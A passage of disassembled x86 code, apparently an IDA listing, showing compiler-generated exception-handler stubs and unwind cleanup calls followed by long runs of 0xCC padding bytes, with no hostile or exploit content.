dword_4418D8 jmp sub_4367C8 SEH_425980 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B6A4: ; DATA XREF: ___:00425BD2o mov eax, offset dword_441928 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426450 proc near ; DATA XREF: sub_426450+2o mov eax, offset dword_441A08 jmp sub_4367C8 SEH_426450 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B708: ; DATA XREF: ___:00441A64o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4264C0 proc near ; DATA XREF: sub_4264C0+2o mov eax, offset dword_441A38 jmp sub_4367C8 SEH_4264C0 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B758: ; DATA XREF: ___:00441AB4o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426560 proc near ; DATA XREF: sub_426560+2o mov eax, offset dword_441A88 jmp sub_4367C8 SEH_426560 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4266A0 proc near ; DATA XREF: sub_4266A0+2o mov eax, offset dword_441AD8 jmp sub_4367C8 SEH_4266A0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4269A0 proc near ; DATA XREF: sub_4269A0+2o mov eax, offset dword_441B08 jmp sub_4367C8 SEH_4269A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426A60 proc near ; DATA XREF: sub_426A60+2o mov eax, offset dword_441B38 jmp sub_4367C8 SEH_426A60 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426EB0 proc near ; DATA XREF: sub_426EB0+2o mov eax, offset dword_441B68 jmp sub_4367C8 SEH_426EB0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426F70 proc near ; DATA XREF: sub_426F70+2o mov eax, offset dword_441B98 jmp sub_4367C8 SEH_426F70 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427590 proc near ; DATA XREF: sub_427590+2o mov eax, offset dword_441BC8 jmp sub_4367C8 SEH_427590 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427650 proc near ; DATA XREF: sub_427650+2o mov eax, offset dword_441BF8 jmp sub_4367C8 SEH_427650 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427DC0 proc near ; DATA XREF: sub_427DC0+2o mov eax, offset dword_441C28 jmp sub_4367C8 SEH_427DC0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B8A8: ; DATA XREF: ___:00441C84o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427E30 proc near ; DATA XREF: sub_427E30+2o mov eax, offset dword_441C58 jmp sub_4367C8 SEH_427E30 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B908: ; DATA XREF: ___:00441CDCo mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427EF0 proc near ; DATA XREF: sub_427EF0+2o mov eax, offset dword_441CB0 jmp sub_4367C8 SEH_427EF0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43B968: ; DATA XREF: ___:00441D34o mov ecx, [ebp-28h] add ecx, 0A1h jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_428160 proc near ; DATA XREF: sub_428160+2o mov eax, offset dword_441D08 jmp sub_4367C8 SEH_428160 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-53ECh] jmp sub_4014B0 ; --------------------------------------------------------------------------- loc_43B9AB: ; DATA XREF: ___:00441D74o lea ecx, [ebp-5490h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5474h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-528Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-525Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-537Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-522Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5304h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-545Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5444h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BA92: ; DATA XREF: sub_4282C0+8o mov eax, offset dword_441D48 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4299C0 proc near ; DATA XREF: sub_4299C0+2o mov eax, offset dword_441E30 jmp sub_4367C8 SEH_4299C0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429AA0 proc near ; DATA XREF: sub_429AA0+2o mov eax, offset dword_441E60 jmp sub_4367C8 SEH_429AA0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429D00 proc near ; DATA XREF: sub_429D00+2o mov eax, offset dword_441E90 jmp sub_4367C8 SEH_429D00 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A090 proc near ; DATA XREF: sub_42A090+2o mov eax, offset dword_441EC0 jmp sub_4367C8 SEH_42A090 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A150 proc near ; DATA XREF: sub_42A150+8o mov eax, offset dword_441EF0 jmp sub_4367C8 SEH_42A150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AEC0 proc near ; DATA XREF: sub_42AEC0+5o mov eax, offset dword_441F20 jmp sub_4367C8 SEH_42AEC0 endp ; --------------------------------------------------------------------------- align 10h loc_43BB90: ; DATA XREF: ___:0042AFD5o mov eax, offset dword_441F80 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BBA8: ; DATA XREF: ___:0044200Co lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B060 proc near ; DATA XREF: sub_42B060+2o mov eax, offset dword_441FE0 jmp sub_4367C8 SEH_42B060 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B240 proc near ; DATA XREF: sub_42B240+2o mov eax, offset dword_442020 jmp sub_4367C8 SEH_42B240 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43BC08: ; DATA XREF: ___:0042B2E2o mov eax, offset dword_442050 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B480 proc near ; DATA XREF: sub_42B480+2o mov eax, offset dword_442080 jmp sub_4367C8 SEH_42B480 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- mov eax, offset dword_4420B0 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B880 proc near ; DATA XREF: sub_42B880+8o mov eax, offset dword_4420E0 jmp sub_4367C8 SEH_42B880 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42BB70 proc near ; DATA XREF: sub_42BB70+2o mov eax, offset dword_442110 jmp sub_4367C8 SEH_42BB70 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BD84: ; DATA XREF: ___:0042BE68o mov eax, offset dword_442168 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4347B0 proc near ; DATA XREF: sub_4347B0+2o mov eax, offset dword_442250 jmp sub_4367C8 SEH_4347B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDEB: ; DATA XREF: ___:004422B4o lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDF6: ; DATA XREF: ___:004348A8o mov eax, offset dword_442288 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4351E0 proc near ; DATA XREF: sub_4351E0+2o mov eax, offset dword_4422C0 jmp sub_4367C8 SEH_4351E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4355E0 proc near ; DATA XREF: sub_4355E0+2o mov eax, offset dword_4422F0 jmp sub_4367C8 SEH_4355E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4356F0 proc near ; DATA XREF: sub_4356F0+8o mov eax, offset dword_442328 jmp sub_4367C8 SEH_4356F0 endp ; --------------------------------------------------------------------------- db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 